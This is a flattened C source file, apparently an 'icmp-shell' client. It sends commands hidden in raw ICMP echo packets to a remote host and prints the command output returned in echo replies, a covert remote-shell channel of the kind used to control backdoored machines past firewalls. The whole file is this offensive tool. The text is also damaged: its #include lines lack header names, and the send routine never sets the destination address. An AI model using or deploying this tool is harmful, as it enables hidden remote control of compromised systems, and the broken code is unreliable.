/***************************************************************************** * * autor: Daniel Lerch * url: http://daniellerch.com * *****************************************************************************/ #include #include #include #include #include #include #include #include #include /****************************************************************************** * Envío de paquetes ICMP ******************************************************************************/ void send_icmp_packet (unsigned long dst_ip, char * data, int data_size, int icmp_type) { /* socket */ int sock; /* Longitud de un paquete ICMP */ unsigned int buffer_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_size; /* Paquete capaz con capacidad para un paquete ICMP */ unsigned char buffer[buffer_size]; memset(buffer, 0, buffer_size); /* Cabecera IP */ struct iphdr *ip = (struct iphdr *)buffer; /* Cabecera ICMP */ struct icmphdr *icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr)); /* Datos */ char *p_data = (buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)); mempcpy (p_data, data, data_size); /* Creación del socket */ if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) == -1) { perror("socket()"); exit(EXIT_FAILURE); } /* Establece las opciones del socket */ int o = 1; if( setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1 ) { perror("setsockopt()"); exit(EXIT_FAILURE); } /* Rellena la cabecera IP */ ip->version = 4; ip->ihl = 5; ip->id = htonl(random()); ip->daddr = dst_ip; ip->ttl = 255; ip->protocol = IPPROTO_ICMP; ip->tot_len = buffer_size; ip->check = 0; /* Rellena la cabecera ICMP */ icmp->type = icmp_type; icmp->code = 0; icmp->checksum = 0; /* Rellena la estructura sockaddr_in */ struct sockaddr_in addr; addr.sin_family = AF_INET; /* Envío del paquete */ if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr, sizeof(struct sockaddr_in))) == -1 ) { perror("send()"); exit(EXIT_FAILURE); } } /****************************************************************************** * Recepción de la respuesta a la ejecución del comando ******************************************************************************/ void recv_and_print (unsigned long dst_ip) { /* socket */ int sock; /* Tamaño máximo de la sección de datos */ int data_size = 1024; /* Tamaño del buffer donde guardaremos el paquete */ int buffer_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_size; /* Buffer donde guardaremos el paquete */ char buffer[buffer_size]; /* Cabecera IP */ struct iphdr *ip = (struct iphdr *) (buffer); /* Cabecera ICMP */ struct icmphdr *icmp = (struct icmphdr *) (buffer + sizeof(struct iphdr)); /* Data */ char *data = (char *) (buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)); /* Socket de captura de todos los paquetes. (modo promiscuo) */ //if((sock = socket(AF_INET, SOCK_PACKET, htons(0x3) )) == -1) { if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { perror("socket()"); exit(EXIT_FAILURE); } /* Bucle infinito de lectura de paquetes */ for(;;) { char cmd[2048]; memset (cmd, '\0', 256); memset (buffer, '\0', buffer_size); read(sock,buffer,buffer_size); if ( (strncmp(data, "ICMP-SHELL-SERVER: ", 19)==0) && (icmp->type==ICMP_ECHOREPLY) && (ip->saddr == dst_ip)) { strncpy (cmd, &data[19], 2048-19); printf ("%s", cmd); } } } /****************************************************************************** * MAIN ******************************************************************************/ int main(int argc, char **argv) { if (argc != 2) { printf("%s dst_ip \n\n", argv[0]); exit (0); } /* Dos procesos */ int pid = fork(); if (pid < 0) { printf ("fork()"); exit(EXIT_FAILURE); } /* Proceso padre */ if (pid != 0) { while (1) { printf ("icmp-shell: "); /* Obtiene el comando por la entrada estandar */ char cmd[256]; memset (cmd, '\0', 256); //printf ("icmp-shell: "); int i=0; do { cmd[i]=getc(stdin); } while (cmd[i++]!='\n'); cmd[i-1] = '\0'; char cmd2[256]; snprintf (cmd2, 256, "ICMP-SHELL-CLIENT: %s", cmd); /* Solicitud */ send_icmp_packet(inet_addr(argv[1]), cmd2, strlen(cmd2), ICMP_ECHO); } } /* Proceso hijo */ /* Recepción de la respuesta */ else recv_and_print(inet_addr(argv[1])); return 0; }